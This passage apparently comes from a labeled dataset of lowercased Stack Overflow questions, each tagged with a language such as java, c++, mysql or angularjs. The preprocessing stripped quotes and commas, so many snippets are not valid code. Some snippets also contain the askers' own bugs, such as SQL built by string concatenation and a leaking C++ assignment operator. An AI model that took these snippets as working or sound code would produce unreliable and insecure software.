+cat_productss.gettext()+   )  ;             executesqlquery(query  inserted ); } </code></pre>   and here is my second function that does not refresh any data.any idea what i am doing wrong     <pre><code>           public void  sqlquery (string qquery string message) {             connection con =getconnection();             statement sptt;             try{                 sptt =con.createstatement();                 if((sptt.executeupdate(qquery))==1)                 {                     //refresh jtable data                     defaulttablemodel model=(defaulttablemodel)jtable_cat.getmodel();                     model.setrowcount(0);                     show_cat_in_jtable();                     joptionpane.showmessagedialog(null  data  +message+  succefully );                 }else{                     joptionpane.showmessagedialog(null  data not  +message+  error );                 }                      }catch (exception ex){                         ex.printstacktrace();                     }     }     public void show_cat_in_jtable(){          arraylist&lt;insert_categories&gt; list= getcatlist();          defaulttablemodel model =(defaulttablemodel)jtable_cat.getmodel();          object[] row =new object[2];          for(int i =0;i&lt; list.size();i++)          {                 row[0] = list.get(i).getcat_id();              row[1] = list.get(i).getcat_products();              model.addrow(row);           }       }  </code></pre>   here is my query   <pre><code> private void add_catactionperformed(java.awt.event.actionevent evt) {                                                 string qquery= insert into categories(cat_products)values (  +cat_products.gettext()+   )  ;         executesqlquery(qquery  inserted );     }  </code></pre>,java
conway game of life - toroidal approach - rim and corners  once again while solving conway s game of life. the planar approach works just fine. it is the toroidal approach that bother me so much. i ve been reviewing my code for a couple of hours now  yet i can t find any gliches. i ll post the two functions which calculate the number of neighbours of each element of our array. the array is a struct with two fields: val (the current value) and next (the next value  depending on the number of neighbours the element has). i should also say that every the functions evaluate the elements which lie on the first and 1st row and the 1st and last column  including the edges. thank s to everyone who s reviewing this code  i know it s not that simple.   <pre><code>void verifica_lin(int i int j int n int m int &amp;cnt matrice a[max][max]){     if(i==1){         if(j==1){             if(a[i+1][j].val==1)                 ++cnt;             if(a[i+1][j+1].val==1)                 ++cnt;             if(a[2][m].val==1)                 ++cnt;             if(a[n][1].val==1)                 ++cnt;             if(a[n][2].val==1)                 ++cnt;             if(a[n][m].val==1)                 ++cnt;             if(a[1][m].val==1)                 ++cnt;             if(a[i][j+1].val==1)                 ++cnt;         }         else             if(j==m){                 if(a[i+1][j].val==1)                     ++cnt;                 if(a[1][2].val==1)                     ++cnt;                 if(a[i+1][j-1].val==1)                     ++cnt;                 if(a[n][m].val==1)                     ++cnt;                 if(a[n][1].val==1)                     ++cnt;                 if(a[n][m-1].val==1)                     ++cnt;                 if(a[i][j-1].val==1)                     ++cnt;                 if(a[1][1].val==1)                     ++cnt;             }             else{                 if(a[i+1][j].val==1)                     ++cnt;                 if(a[i+1][j+1].val==1)                     ++cnt;                 if(a[i+1][j-1].val==1)                     ++cnt;                 if(a[n][j].val==1)                     ++cnt;                 if(a[n][j+1].val==1)                     ++cnt;                 if(a[n][j-1].val==1)                     ++cnt;                 if(a[i][j-1].val==1)                     ++cnt;                 if(a[i][j+1].val==1)                     ++cnt;             }     }     else         if(i==n){             if(j==1){                 if(a[1][1].val==1)                     ++cnt;                 if(a[1][2].val==1)                     ++cnt;                 if(a[1][m].val==1)                     ++cnt;                 if(a[i-1][j].val==1)                     ++cnt;                 if(a[i-1][j+1].val==1)                     ++cnt;                 if(a[n-1][m].val==1)                     ++cnt;                 if(a[n][m].val==1)                     ++cnt;                 if(a[i][j+1].val==1)                     ++cnt;             }             else                 if(j==m){                     if(a[1][m].val==1)                         ++cnt;                     if(a[1][1].val==1)                         ++cnt;                     if(a[1][m-1].val==1)                         ++cnt;                     if(a[i-1][j].val==1)                         ++cnt;                     if(a[n-1][m].val==1)                         ++cnt;                     if(a[i-1][j-1].val==1)                         ++cnt;                     if(a[i][j-1].val==1)                         ++cnt;                     if(a[n][1].val==1)                         ++cnt;                 }                 else{                     if(a[1][j].val==1)                         ++cnt;                     if(a[1][j+1].val==1)                         ++cnt;                     if(a[1][j-1].val==1)                         ++cnt;                     if(a[i-1][j].val==1)                         ++cnt;                     if(a[i-1][j+1].val==1)                         ++cnt;                     if(a[i-1][j-1].val==1)                         ++cnt;                     if(a[i][j-1].val==1)                         ++cnt;                     if(a[i][j+1].val==1)                         ++cnt;                 }         }     if(a[i][j].val==1){         if(cnt==2||cnt==3)             a[i][j].next=1;         else             if(cnt==0||cnt&gt;3)                 a[i][j].next=0;     }     else         if(cnt==3)             a[i][j].next=1; } void verify_col(int i int j int n int m int &amp;cnt matrice a[max][max]){     if(j==1){         if(i==1){             if(a[i+1][j].val==1)                 ++cnt;             if(a[i+1][j+1].val==1)                 ++cnt;             if(a[2][m].val==1)                 ++cnt;             if(a[n][1].val==1)                 ++cnt;             if(a[n][2].val==1)                 ++cnt;             if(a[n][m].val==1)                 ++cnt;             if(a[1][m].val==1)                 ++cnt;             if(a[i][j+1].val==1)                 ++cnt;         }         else             if(i==n){                 if(a[1][1].val==1)                     ++cnt;                 if(a[1][2].val==1)                     ++cnt;                 if(a[1][m].val==1)                     ++cnt;                 if(a[i-1][j].val==1)                     ++cnt;                 if(a[i-1][j+1].val==1)                     ++cnt;                 if(a[n-1][m].val==1)                     ++cnt;                 if(a[n][m].val==1)                     ++cnt;                 if(a[i][j+1].val==1)                     ++cnt;             }             else{                 if(a[i+1][j].val==1)                     ++cnt;                 if(a[i+1][j+1].val==1)                     ++cnt;                 if(a[i+1][m].val==1)                     ++cnt;                 if(a[i-1][j].val==1)                     ++cnt;                 if(a[i-1][j+1].val==1)                     ++cnt;                 if(a[i-1][m].val==1)                     ++cnt;                 if(a[i][m].val==1)                     ++cnt;                 if(a[i][j+1].val==1)                     ++cnt;             }     }     else         if(j==m){             if(i==1){                 if(a[i+1][j].val==1)                     ++cnt;                 if(a[1][2].val==1)                     ++cnt;                 if(a[i+1][j-1].val==1)                     ++cnt;                 if(a[n][m].val==1)                     ++cnt;                 if(a[n][1].val==1)                     ++cnt;                 if(a[n][m-1].val==1)                     ++cnt;                 if(a[i][j-1].val==1)                     ++cnt;                 if(a[1][1].val==1)                     ++cnt;             }             else                 if(i==n){                     if(a[1][m].val==1)                         ++cnt;                     if(a[1][1].val==1)                         ++cnt;                     if(a[1][m-1].val==1)                         ++cnt;                     if(a[i-1][j].val==1)                         ++cnt;                     if(a[n-1][m].val==1)                         ++cnt;                     if(a[i-1][j-1].val==1)                         ++cnt;                     if(a[i][j-1].val==1)                         ++cnt;                     if(a[n][1].val==1)                         ++cnt;                 }                 else{                     if(a[i+1][j].val==1)                         ++cnt;                     if(a[i+1][1].val==1)                         ++cnt;                     if(a[i+1][j-1].val==1)                         ++cnt;                     if(a[i-1][j].val==1)                         ++cnt;                     if(a[i-1][1].val==1)                         ++cnt;                     if(a[i-1][j-1].val==1)                         ++cnt;                     if(a[i][j-1].val==1)                         ++cnt;                     if(a[i][1].val==1)                         ++cnt;                 }         }     if(a[i][j].val==1){         if(cnt==2||cnt==3)             a[i][j].next=1;         else             if(cnt==0||cnt&gt;3)                 a[i][j].next=0;     }     else         if(cnt==3)             a[i][j].next=1; } </code></pre>,c++
new to java generics - why is there a type for a return type of void in generics   i am new to java generics below the return type is void but why are they giving the type .    <pre><code>public static &lt;u&gt; void addbox(u u list&lt;box&lt;u&gt;&gt; boxes){     box&lt;u&gt; box = new box&lt;u&gt;();     box.sett(u);     boxes.add(box); } </code></pre>,java
linker command failed with exit code 1 when i archive  when i run on my iphone6 in debug and release it is ok. but when i archive  i have a problem.    <a href= https://i.stack.imgur.com/uag0c.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uag0c.jpg  alt= enter image description here ></a>,ios
count the number of  na  in a single row - mysql  if there is a row where there are more than or equal to 2 na in two different columns  then i want to select that row and show all of its columns. is there a sql to do that     original data:   <pre><code> overall_score_id   company_id  operating_margin_score  negative_earning_surprise_score acquisition_score   tsr_score   enterprise_score  54                 399473107   0.0                     2.3770491803278686              5.666666666666666   na          1.1475409836065573  116                92847a200   0.3305785123966942      3.0327868852459017              8.75                na          2.0491803278688527  337                57164y107   2.0689655172413794      8.85057471264368                7.558139534883721   na          3.2558139534883725  415                007767106   na                      9.52                            na                  na          na  462                36112j107   na                      1.28                            na                  na          na </code></pre>   output:   <pre><code>overall_score_id    company_id  operating_margin_score  negative_earning_surprise_score acquisition_score   tsr_score   enterprise_score 415                 007767106   na                      9.52                            na                  na          na 462                 36112j107   na                      1.28                            na                  na          na </code></pre>   right now i only have a query to count the columns and show columns that are >= 2 and i know it s completely wrong  but i am thinking that i can modify it to the query that i want    <pre><code>select * from overall_scores group by overall_score_id having count(*) &gt;=2; </code></pre>,mysql
ask for sql query that is very hard for me  there is a coffee shop that sells beverage. <strong>each</strong> cup of beverage sold would be assigned an unique id.    assume all customers of the coffee shop has shop s member ids(all of them are unique).    beverage of the shop can be divided into 2 types: either coffee or tea.      now i got 4 tables.   <ul> <li> member(memberid  membername) </li> <li> beverage(bid  customerid) (customerid referencing member.memberid)&lt;--have one beverage entity for each cup sold. </li> <li> coffee(coffeename  bid) (bid referencing beverage.bid) </li> <li> tea(teaname  bid) (bid referencing beverage.bid) </li> </ul>   tea and coffee are subtypes of beverage.    also each member can buy different beverages many times.    find the sql query that can display all members who have bought both kinds of beverages (i.e. don t count member who only buys one kind of beverage).    i have thought about this question for about half a day...hope someone can help me.,sql
application crash - debug says  objc_msgsend   i have started a 2d tile based game for iphone   i will jump directly to the class s i have and the issue. i have totally 2 class for now tile   table   and base main class tile <pre><code>`@interface tile : nsobject {  ccsprite *sprite;  ccsprite *outline;  int row column;  bool highlight; }    @property (nonatomic   retain)ccsprite *sprite; @property (nonatomic   retain)ccsprite *outline;    @property (nonatomic  readonly) int row  column; @property (nonatomic   readwrite)bool highlight; -(id) initwithspritename: (nsstring*)argspritename row:(int)argrow column:(int)argcolumn position:(cgpoint)argposition;    @end`</pre></code>    table <pre><code>`@interface table : nsobject {  cclayer *layer;  cgsize  size;  nsarray *icons;  nsmutablearray *content;    } @property(nonatomic  retain) nsmutablearray *content; @property(nonatomic  retain) cclayer *layer; @property(nonatomic  readonly) cgsize size; -(id) initwithtablesize:(cgsize)argsize;  -(void)render; -(tile *) objectatx: (int) x y: (int) y; ` </pre></code>    calling class (main)    <pre><code><code>@interface helloworld : cclayer {  cgsize  size;  table  *tablelayer; } @property (retain) table  *tablelayer;</code></pre></code>    implementation <pre><code>-(id) init {  // always call  super  init  // apple recommends to re-assign  self  with the  super  return value  if( (self=[super init] )) {   ......                 tablelayer = [[table alloc] initwithtablesize:cgsizemake(4 7) ];   tablelayer.layer = self;   [tablelayer render];   self.istouchenabled = yes;   self.isaccelerometerenabled = yes;   [self schedule:@selector(render:)];   [[uiaccelerometer sharedaccelerometer] setupdateinterval:(1.0 / 30)];    }  return self; }    . . .    -(void) cctouchesbegan:(nsset *)touches withevent:(uievent *)event {     uitouch *touch = [touches anyobject];     cgpoint location = [touch locationinview: [touch view]];     cgpoint touchcorrected;     touchcorrected.x = location.x;     touchcorrected.y = 480 - location.y;     int x = (int)(touchcorrected.x/48);     int y = (int)(touchcorrected.y/48);     printf( x = %d y = %d \n  x y);     if (x!=0 &amp;&amp; y!=0) {    tile *tile = [tablelayer objectatx:(1) y:(1)];    [tile sethighlight:yes];      } }    </pre></code>    my program gets crashed when calling the following statement inside the touch end call back   <pre><code>   tile *tile = [tablelayer objectatx:(1) y:(1)]; </code></pre>   i have read few blogs but really having tough time to understand the concept behind messaging   could you please explain me what is cause for the application crash ends  objc_msgsend .,objective-c
php session info not carrying over to second page—where am i going wrong   i have a page like this:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;  &lt; php session_start();  $_session[ example ] =  hello! ;   &gt;  &lt;/head&gt;  &lt;body&gt;  &lt; php echo $_session[ example ];  &gt;  &lt;a href= two.php &gt;next&lt;/a&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   this works exactly as expected  it says  hello!  and links to the next page. so far  so good.    the next page:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;  &lt; php session_start();  &gt;  &lt;/head&gt;  &lt;body&gt;  &lt; php echo $_session[ example ];  &gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   this is a completely blank page. where am i going wrong and how do i correct it to use the variable on the second page     thanks!    <strong>update</strong>    looks like i m not going wrong at all—i ve echoed the session ids and it s changing from one page to another. what could be causing that,php
jquery module window not working  thank you for looking at my code and question!    i am very new to this so please excuse my lack of knowledge with jquery!    i am trying to create an  email sign up  window. i d like it to fade in after a few seconds and dim the background. then the user would either enter their email or click cancel. then the module window would disappear  and the page would go back to normal.    i was having trouble creating this from scratch so found something called simplemodal and i m using that code. i got it from this website: <a href= http://www.ericmmartin.com/projects/simplemodal/  rel= nofollow >http://www.ericmmartin.com/projects/simplemodal/</a>    i can get the window module to appear on the page but that s it. instead i d like it to fade in and dim the background.    you can see the full page here: <a href= http://halloweenseattle.com/faq_test.php  rel= nofollow >http://halloweenseattle.com/faq_test.php</a>    thank you in advance. i really  really appreciate your help. i ve spent several hours on this so far this morning!,jquery
securing iphone + web app  i have an iphone app that retrieves and send data to a server that uses python. what measures could i take in order to prevent security risks  i an not handling extremely sensitive data but i wouldn t want people sniffing the contents.    is using ssl enough to prevent most risks     thanks,iphone
how to efficiently right this query   i have a query in a stored procedure like this:   <pre><code> delete from tbl1   where id1   not in (select id from tbl2)   and id2      not in(select id from tbl2);   </code></pre>   now i want to know how can i use the inner select just one time  can it be effective on execution s speed,mysql
jquery highlight is not working  i have the following references to jquery on my page:   <pre><code>&lt;link href= http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css  rel= stylesheet  type= text/css /&gt;   &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js &gt;&lt;/script&gt;   &lt;script src= http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js &gt;&lt;/script&gt; </code></pre>   and the code within the   <pre><code> $( #gostep2btn ).click(function () {   if (haserrors == true) {         //alert( displaying error message );         $( #errdisplay ).html(errortext);         window.scrollby(0  -600);         $( #errdisplaycontainer ).slidedown({             duration: 100         }).animate({             opacity: 1         }  {             queue: false         });          //  $( errdisplaycontainer ).animatehighlight();          $( errdisplaycontainer ).effect( highlight   { color:  #ff0000  }  3000);     }     else if (haserrors == false) {         //alert( no errors );         //format personal details and display         $( #personaldetailscontainer ).slideup({             duration: 200         }).animate({             opacity: 1         }  {             queue: false         });         $( #jq_personaldetailsdisplay ).slidedown({             duration: 200         }).animate({             opacity: 1         }  {             queue: false         }); }  } </code></pre>   the button click event has alot more coding in it which validates the user input for registration step 1 before it gives the user an overview of the entered data and then shows step 2 for them to enter their payment information  if there are any errors with the data entered in step 1 the button validation will then show an error div tag and i want the div tag to highlight to alert the user that there are issues with the data that need addressing.    could anyone guide me as im quite new to jquery.    thanks in advance :),jquery
sql query assistance - left join unexpected result  i have these 2 queries:   <pre><code>$sql =  select * from ultrait_wpl_properties left join ultrait_wpl_property_types on ultrait_wpl_properties.property_type = ultrait_wpl_property_types.id order by ultrait_wpl_properties.id   ;  $sql2 =  select *  from ultrait_wpl_properties  ultrait_wpl_property_types where  ultrait_wpl_properties.property_type = ultrait_wpl_property_types.id order by ultrait_wpl_properties.id ; </code></pre>   for some odd reason when the ids are output some are duplicated  by my reseaning these queries should get everything from the table in the first part and join the second table based on the where condition.   <pre><code>&lt;property&gt;&lt;id&gt;13&lt;/id&gt;&lt;/property&gt; &lt;property&gt;&lt;id&gt;6&lt;/id&gt;&lt;/property&gt; &lt;property&gt;&lt;id&gt;6&lt;/id&gt;&lt;/property&gt; &lt;property&gt;&lt;id&gt;6&lt;/id&gt;&lt;/property&gt; &lt;property&gt;&lt;id&gt;6&lt;/id&gt;&lt;/property&gt; &lt;property&gt;&lt;id&gt;7&lt;/id&gt;&lt;/property&gt; </code></pre>   this may be slightly unclear but for some reason i m getting duplicate ids  all i want really is to be able to access the property type which links to the id in the second table.    i have tested both queries in phpmyadmin and they yeild the desired result  however when i use the queries in my php script they return unexpected results.,mysql
sql: in case not use like when variable is null  i need the next: when variable <code>@scope</code> is not null then use  <code>like</code>  else ignore this filter.    first sql:   <pre><code>declare @scope varchar =  %test%  select id  scope from delivery  where scope like @scope  </code></pre>   and second when scope is null   <pre><code>declare @scope varchar = null select id  scope from deliver </code></pre>   something like this:   <pre><code>declare @scope varchar = null select id  scope from delivery  where scope like (case      when @scope is null then scope else @scope end) </code></pre>   but this is not correct sql query. i m not need to use  <code>like</code>  when scope is null.    how i can do this,sql
how can a pointer itself make it null  <pre><code>obj *obj = new obj(); obj-&gt;destroy(); if (obj == null)     cout &lt;&lt;  yes ; </code></pre>   how to write the method  destroy()  to output  yes,c++
get 2 unique numbers in a row   i want to make sure  grid  can t return 2 same values  but i m not sure how. here s my code:    <code>grid[rnd(2 x-2) * y + rnd(2 y-2)].height = rnd(25 40);</code>   <pre><code>int rnd(int min  int max) {     return min + rand() % (max - min + 1); } </code></pre>   i also seeded rand() with <code>srand(time(null));</code>    i wish i could provide more details or what i tried  but i couldn t quite find anything related to this topic.    edit: i could of course do re-randoming  but i feel like it s bad practice :/,c++
rails pg::syntaxerror: error clarification  i m getting a strange error. i have <strong>customers</strong> and <strong>messages....</strong> customers has_many messages.. and message belongs_to customer the customer has a <strong>phone</strong> column and a message has a <strong>to</strong> column. the code below is suppose to take the current customer id and grab the <em>phone</em> column then find all <strong>messages</strong> that match the <em>phone</em> based on the <em>to</em> column. then update all the messages with the customer id.    i m getting this error that i don t see the problem. <strong>can someone tell me what i m doing wrong </strong> the error is triggered on the each loop. i tried to inspect @foundmessage_all but that doesn t work.   <pre><code> pg::syntaxerror: error: syntax error at or near  to  line 1: select   messages .* from  messages  where (to =  2081234567 ... ^ : select   messages .* from  messages  where (to =  2081234567  ) </code></pre>   <em>customer/show.rb</em>   <pre><code> @customer = customer.find(params[:id])  tempphone = @customer.phone  @foundmessage_all = message.where( to =      tempphone)        if @foundmessage_all != nil           @foundmessage_all.each do |t|           t.update_attribute(:customer_id  @customer.id)           end        else           #other stuff        end </code></pre>,ruby-on-rails
draw a curved text using css  i want to know how to draw a text like this style ( curved) using only css please help me  <img src= https://i.stack.imgur.com/zpzqr.jpg  alt= enter image description here >,css
confusing javascript syntax error  i am testing to see which out of three numbers passed are the greatest and returning that through one function. however  i keep getting a syntax error: syntaxerror: missing ; before statement }else (third > first &amp;&amp; third > second) {    here is the code:   <pre><code>function getmax3(first  second  third) { if (first &gt; second &amp;&amp; first &gt; third){   return first; } else if (second &gt; first &amp;&amp; second &gt; third) {   return second; }else (third &gt; first &amp;&amp; third &gt; second) {   return third; } }  console.log(getmax3(10  3  4)); console.log(getmax3(1  6  9)); </code></pre>,javascript
cross-platform video/audio codec  i m looking for a dotnet audio/video codec which should work on different platforms like windows/linux/(later)ios/(later)android. because of all these platforms i can t use directshow ( windows only ) and already looked for some codecs which are open source.    all of them ( like h.323 ) are written in c++ and i need it in dotnet ( c# ) because we are working with mono in the project. writing a c++/cli wrapper seems to be a huge work because thoose codecs are huge.    has anyone does something like this ever before  are there any video codecs or commercial solutions on the www ( found none ),.net
uibutton inside uiscrollview doesn t fire on tap  uibutton inside uiscrollview doesn t fire on tap. please help resolve it.   <pre><code> // add a button  uibutton *btn1 = [[uibutton buttonwithtype:uibuttontypecustom] retain];  btn1.frame = cgrectmake(0  0  26  18);   btn1.bounds = cgrectmake(0  0  30.0  30.0);   [btn1 addtarget:self action:@selector(buttonclick1:)                        forcontrolevents:uicontroleventtouchupinside];  [scrollview addsubview:btn1];   - (void)buttonclick1:(id)sender {      int dd = 4;   } </code></pre>,iphone
autocomplete not showing indiviual items  i m following the following <a href= http://jqueryui.com/autocomplete/  rel= nofollow >example</a> for a jquery autocomplete textbox.    i have a table that i am getting and i make a comma separated string out of.  which i then assign to the availabletags variable.  when i press a key in the text box i do get a drop down but it is all my values in 1 giant box and i am unable to select just one value.    what is needed to be done for this to behave as i m expecting     here is a <a href= http://jsfiddle.net/8e2pd/2/  rel= nofollow >small example</a> that doesn t work at all but on my local machine a variation does.   <pre><code>                $(function() {                     var tags = $( #maincontent_mytable tr .tablecellname ).map(function () {                     return    $(this).text().trim()+  ;                     }).get().join(   );                      var availabletags = [tags];                      $( #tags ).autocomplete({                         source: availabletags                     });                     console.log(availabletags);                 }); </code></pre>,jquery
how to tie ng-model variable to the value of an input box in angular   without any angular  i have an input like this (which is the end result of what i want):   <pre><code>&lt;input type= text  value= [ apple   pear ] &gt; </code></pre>   what i want is the content in  value  to come from a scope variable.   <pre><code>$scope.mylist = [ apple   pear ] # assume this is my controller  &lt;input type= text  ng-model= mylist  value=  &gt; </code></pre>   which should translate to what i have at the top. is this the right way to do this  how can i accomplish the same effect as my first snippet  if it is easier to just construct a string as a scope variable  that is also an acceptable answer. i am looking for simple.,angularjs
layer draws over other elements and ignores z-index  on a web i have a transparent layer to cover the page on click and only show a few page elements.  but it doesn t matter what i have for the z-index. that layer covers one element i would like to show.  the element with id <code>player</code> should be shown over the layer.  what should i specify differently for <code>layer</code> and for <code>player</code> for this    <pre><code>  &lt;div id= layer  style= width: 100%; height: 100%; visibility: visible; z-index: 99; &gt; &lt;/div&gt;    &lt;div id= page  style= margin: 0 auto; position: relative; top: 80px; &gt; &lt;!-- begin page div --&gt;    &lt;div id= player  style= width: 506px; height: 377px; border: 2px solid white; z-index: 99999; display: inline; float:left; margin-top: 12px; margin-left: 12px; margin-right:0px; overflow: hidden; &gt; </code></pre>   the styles for <code>layer</code> are these.   <pre><code>#layer {     position: absolute;      top: 0px;      left: 0px;      width: 100%;      height: 100%;      background: black;      filter:alpha(opacity=80);      opacity: 0.80;      z-index: 999;   } </code></pre>,html
difference between  reverse  and  -property  with orderby in ngrepeat   in the angularjs doc for  orderby   the description of the  string  property is as follows (with my emphasis):   <blockquote>    an angular expression which evaluates to an object to order by  such as  name  to sort by a property called  name . <strong>optionally prefixed with + or - to control ascending or descending sort order (for example  +name or -name).</strong>  </blockquote>   the description of the  reverse  property is as follows:   <blockquote>    reverse the order the array.  </blockquote>   so what should be the difference between using  -property  and  reverse    should both of these do the same thing     for my test case  i can t get  reverse  to do anything.  i constructed a <a href= http://plnkr.co/edit/ks6xtfjxxeqnmvmtjd3m p=preview  rel= nofollow >plunkr </a>with three ngrepeats.  the first one is without any ordering  the second one ordered with  reverse   and the last ordered with  -property .  the latter does what i expect  the former doesn t appear to do anything.    the documentation is clearly ambiguous  but i would have expected  reverse  and  -property  to do the same thing.  what s going on here,angularjs
join two columns then limit and desc mysql  i have two columns in one table   <blockquote>    x_date     | x_time |        10-10-2014 | 10:40  |        10-10-2014 | 10:47  |        10-09-2014 | 05:50  |        10-09-2014 | 05:57  |  </blockquote>   i need to join them then sort by desc and limit 0 3    ex result :    <blockquote>    x_datetime    |        10-10-2014 10:47 |        10-10-2014 10:40 |        10-09-2014 05:57 |  </blockquote>,mysql
asp.net: authentication  when i upload my asp.net web application to the server and access to the url link  it is asking for the authentication... if i dont  i got this error message:    asp.net is not authorized to access the requested resource. consider granting access rights to the resource to the asp.net request identity. asp.net has a base process identity (typically {machine}\aspnet on iis 5 or network service on iis 6) that is used if the application is not impersonating. if the application is impersonating via   the identity will be the anonymous user (typically iusr_machinename) or the authenticated request user.     to grant asp.net access to a file  right-click the file in explorer  choose  properties  and select the security tab. click  add  to add the appropriate user or group. highlight the asp.net account  and check the boxes for the desired access.    source error:     an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.   <hr>   what should i change in the web.config file in order to get this working as locally     thanks in advance,asp.net
how to display this sql query as one table  very basic sql question. i wan t to display the output of the following query as one table instead of two:   <pre><code>select players.name from players inner join teams on players.team = teams.name where teams.staysat =  ambassador  and teams.checkin is not null;  select fans.name from fans where fans.staysat =  ambassador  and teams.checkin is not null; </code></pre>   how can a rewrite this so the players name and fans name are printed as one continuous list,sql
arrangement of textviews  how to place textview one below the other in android layout xml. for example i need something like below:    textview 1 : textview 5 textview 2 : textview 6 textview 3 : textview 7 textview 4 : textview 8 .....          .....    note :textview 1 2 3 4 one below other and parallel textview 5  6 7 8 on below other  vertically    which layout is best to implementation for the above example and how to implement it like should i need  to take textview 1 and textview 5 in single relative layout will that work for rest textviews    i need all textview after  :  be be aligned properly in space and before  :  also same,android
double loop  display no results if nothing to dispay  using angularjs  i have a double loop to display data  and a filter by year.    when  for a given year  i have no results  i want to display the message  no results...   but because of the double loop  i m not able to get it to work    here is a demo <a href= http://plnkr.co/edit/oswsyxk8bnvmj1rfwhj0 p=preview  rel= nofollow >http://plnkr.co/edit/oswsyxk8bnvmj1rfwhj0 p=preview</a>    the div i want to display when    <pre><code>&lt;div ng-if= personnes.length &lt; 1  class= noresults &gt;no results&lt;/div&gt; </code></pre>   to see an example with no results  choose  2013-2014  in the year dropdown    thanks a lot,angularjs
where to put `r` alias for method `render` in rails   i my views i want to use <code>r</code> alias for method <code>render</code>. following code will do this stuff:   <pre><code>module actionview   # make alias for :render method   class base     alias_method :r  :render   end end </code></pre>   this it pretty handy and nice for me  however i want to ask  what is the best place for this particular snippet  currently i put this to my <code>app/helpers/application_helper.rb</code>.,ruby-on-rails
how to get selected values of an array of dropdownlist box using jquery  how to get selected value of array of drop down list box using jquery  i have uploaded the code that i have tried. doesn t work for drop down. thanks in advance for any help or suggestions,jquery
how can i send sms with contacts   i am new to android . in my application i want to send sms with contacts. how can i send sms to other through my appplication,android
collection.build of nested attribute through a remote_link does not create params when submitting form  i have the following model:   <pre><code>class activity &lt; activerecord::base   has_many  :clientships  :dependent =&gt; :destroy  :after_add =&gt; :default_client_info   accepts_nested_attributes_for :clientships  :allow_destroy =&gt; true end </code></pre>   in my controller  if i perform the following   <pre><code>  def new     @activity = individualactivity.new(params[:activity])     @activity.clientships.build(:client =&gt; client.first)     ...   end </code></pre>   and then save the form  it creates the relevant params and submits successfully.    however  if i chose to call the following through a remote link   <pre><code>@activity.clientships.build(:client =&gt; client.last) </code></pre>   <em>the view is updated with the new clientship record but when i submit the form  the params[:activity] is not created for the second nested attribute.</em> <strong><em>(why not! )</em></strong>    this is the view:   <pre><code>%h1 create a new activity  - form_for @activity do |f|   %div     = render  activities/client_selector   :f =&gt; f    %div     = f.submit  save!  </code></pre>   here is the remote_link s controller action   <pre><code>  def add_client      @activity = individualactivity.new(session[:individual_activity])      # refresh client     @activity.clientships.build(:client =&gt; client.find(params[:client_id]))      respond_to do |format|       format.js     end   end </code></pre>   this is the add_client.html.js:   <pre><code>page.replace_html  selected_clients   :partial =&gt;  activities/clients  </code></pre>   this is the activities/clients partial:   <pre><code>- form_for @activity do |f|   - f.fields_for :clientships do |client_f|     %tr       %td= client_f.hidden_field :client_id       %td= client_f.object.client.full_name </code></pre>   <strong>does anyone know how i can troubleshoot this further </strong> i seem to have come to a dead-end with my debugging... one thing to note  there is a double use of the following form_for used in new.html.haml and the activities/clients partial (is this problematic )   <pre><code>- form_for @activity do |f| </code></pre>   i am on rails v2.3.5    thanks,ruby-on-rails
mysql: update multiple tables with different column names   i m trying to change two values in two tables using one query  but the column names for both tables is different. however  they are both primary keys.    so far i ve tried a large number of variations of code  and here s a similar variation rewritten in simpler code so my purpose is more clear:   <pre><code>update table1  table2 set table1.entry = 5  table2.id = 5 where table1.entry and table2.id = 1; </code></pre>   the column names in both tables i want to change have different names (hence  entry  and  id ). i know how to do this using concatenate in excel  but i d like to know if this be done with a query  perhaps with a join     thanks in advance.,mysql
operator  &&  cannot be applied to operands of type  int  and  int   i dont know what is the different these two code. above only have single <code>&amp;</code> while below have <code>&amp;&amp;</code>. i have an error for the above code. i dont how to solve it.    <pre><code>cmd3[8] = (byte)(length &amp; 0xff); cmd3[9] = (byte)(((length &gt;&gt; 8) &amp;&amp; 0xff)   -1 : 0); </code></pre>   hope you guys can help me.,c#
windows triggers breakpoint on array deletion  whenever a the string destructor is hit it triggers a breakpoint  i think i might be deleting the same variable twice or not assigning the right amount of memory during the manipulation of m_str   <pre><code>#include  string.h  #include &lt;iostream&gt;  using namespace std;  string::string() {     m_str = nullptr; }  string::string(const char* newstr) {     m_str = new char[strlen(newstr)+ 1];                         strcpy(m_str  newstr);                               }  string::~string() {     if (m_str != nullptr)     {         delete[] m_str;     } }  void string::operator=(const string &amp; mystring) {     if (m_str != nullptr)     {         delete[] m_str;                      //breakpoint apears here     };     m_str = new char[strlen(mystring.m_str) + 1];     m_str = mystring.m_str; }  void string::operator=(char* newstr) {     if (m_str != nullptr)     {         delete[] m_str;     };     m_str = new char[strlen(newstr) + 1];     m_str = newstr; } } </code></pre>,c++
putting presentation data in angular controller   got a webapp i m building in angular.    this app walks a user to authorizing accounts  presenting specific instructions based on the users choices.    i ve implemented this as html that is shown or hidden based on values in the model  so for 3 different choices  i have 3 different sets of html sections that are similar but with different texts.    in the spirit of dry  i should instead have one set of html sections  and instead switch the text based on the values of the model. this means putting text data inside the model  including small snippets of markup  like anchor and strong tags.    does putting presentation data into the controller violate the principals of angular,angularjs
